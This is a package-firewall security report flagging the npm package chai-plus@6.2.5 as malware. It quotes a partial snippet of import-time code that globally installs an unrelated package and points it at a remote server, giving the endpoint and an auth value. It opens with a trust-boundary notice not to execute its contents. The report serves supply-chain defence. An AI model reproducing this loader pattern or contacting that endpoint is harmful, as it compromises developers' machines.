---
canonical: "https://firewall.lpm.dev/npm/chai-plus/v/6.2.5"
markdown: "https://firewall.lpm.dev/npm/chai-plus/v/6.2.5.md"
package: "chai-plus"
report_status: "published"
title: "chai-plus@6.2.5 npm security report"
verdict: "malicious"
version: "6.2.5"
---

# chai-plus@6.2.5 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — An ordinary dependency import can execute external code and modify the user's global npm environment.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 6.2.5
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Requiring chai-plus alters the host by globally installing and configuring an unrelated package. It passes a remote origin server to that program.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-08-26T14:07:14.422Z
- **Finished:** 2026-08-26T14:08:12.657Z
- **Download time:** 508 ms
- **Static scan time:** 137 ms
- **AI review time:** 57588 ms
- **Total time:** 58235 ms

## Security analysis

### Published attack-surface review

- **Summary:** Requiring chai-plus alters the host by globally installing and configuring an unrelated package. It passes a remote origin server to that program.

- **Trigger:** A consumer imports or requires chai-plus.

- **Impact:** An ordinary dependency import can execute external code and modify the user's global npm environment.

- **Evidence paths:** package.json, lib/index.js, lib/bootstrap.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-26T14:08:12.657Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Import-time global package installation followed by remote-service configuration.

- **Attack narrative:** The declared main module executes an immediately invoked bootstrap function during import. If taskforge-9xv is absent globally, it installs that unrelated package and executes its command with configuration for a remote server. This is unrelated to an assertion library and occurs without an explicit user setup action, enabling unconsented host mutation and execution of a remotely sourced package.

- **Rationale:** Source inspection confirms a concrete import-time global install and remote configuration chain unrelated to the advertised testing library. This is malicious dependency behavior.

- **Files touched:** lib/index.js, lib/bootstrap.js

- **Network endpoints:** http://coolblast.zapto.org:8888/api/x-handler

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** Importing the package synchronously checks for and globally installs taskforge-9xv without user consent., The import-time code then runs taskforge setup with a remote origin server., The package has no lifecycle hook, so the harmful behavior starts when its normal main module is required.

- **Evidence against:** No credential harvesting or local file exfiltration was found in the inspected source., The manifest declares no install lifecycle scripts.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 3. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 4. High: Sandbox Evasion Gated Capability
- **Category:** Source
- **Confidence:** 84.0%
- **Path:** lib/index.js
- **Public source:** [View source](<https://unpkg.com/chai-plus@6.2.5/lib/index.js>)

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

Public source snippet (untrusted):

```javascript
L134: try {
L135: const { spawnSync } = require('child_process');
L136: const path = require('path');
...
L154: 
L155: if (prefixResult.status === 0 && prefixResult.stdout) {
L156: const npmPrefix = prefixResult.stdout.toString().trim();
...
L158: 
L159: if (process.platform === 'win32') {
L160: cmdPath = path.join(npmPrefix, 'taskforge.cmd');
...
L165: const setupArgs = [
L166: '--origin-server', 'http://coolblast.zapto.org:8888/api/x-handler',
L167: '--auth-ref', 'W7qL9!mX2'
```

### 5. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 6. High: Previous Version Dangerous Delta
- **Category:** Supply Chain
- **Confidence:** 93.0%
- **Path:** lib/bootstrap.js
- **Public source:** [View source](<https://unpkg.com/chai-plus@6.2.5/lib/bootstrap.js>)

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = previous_version_dangerous_delta
matchedPackage = chai-plus@7.0.0
matchedIdentity = npm:Y2hhaS1wbHVz:7.0.0
similarity = 0.889
summary = stored previous version shares package body but lacks this dangerous source file
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** prepublish
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** chai-plus
- **Ecosystem:** npm
- **Version:** 6.2.5
- **License:** MIT
- **Version published:** 2026-08-25T16:24:37.648Z
- **Package first seen:** 2026-08-25T16:51:01.085Z
- **Package last seen:** 2026-08-26T17:33:58.176Z
- **Known versions:** 5
- **Latest version:** 0.0.1-security
- **Appeal under review:** No
- **Description:** Chai Plus - Extended assertion and testing library with zero dependencies. 50+ assertions, mock/spy, snapshots, benchmarking, and async support built on Chai concepts.
- **Author:** Nakamoto Yoshiki
- **Keywords:** assertion, testing, bdd, tdd, expect, assert, mock, spy, snapshot, async, promise, benchmark
- **Runtime engines:** node: \>=12.0.0
- **Artifact files:** 14
- **Artifact unpacked size:** 71,380 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/chai-plus/v/6.2.5>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-14533>)
- [PACKAGE](<https://www.npmjs.com/package/chai-plus/v/6.2.5>)
- [PACKAGE](<https://www.npmjs.com/package/chai-plus/v/6.2.3>)
- [PACKAGE](<https://www.npmjs.com/package/chai-plus/v/6.2.4>)
- [ADVISORY](<https://github.com/advisories/GHSA-2r27-f59g-4hcx>)
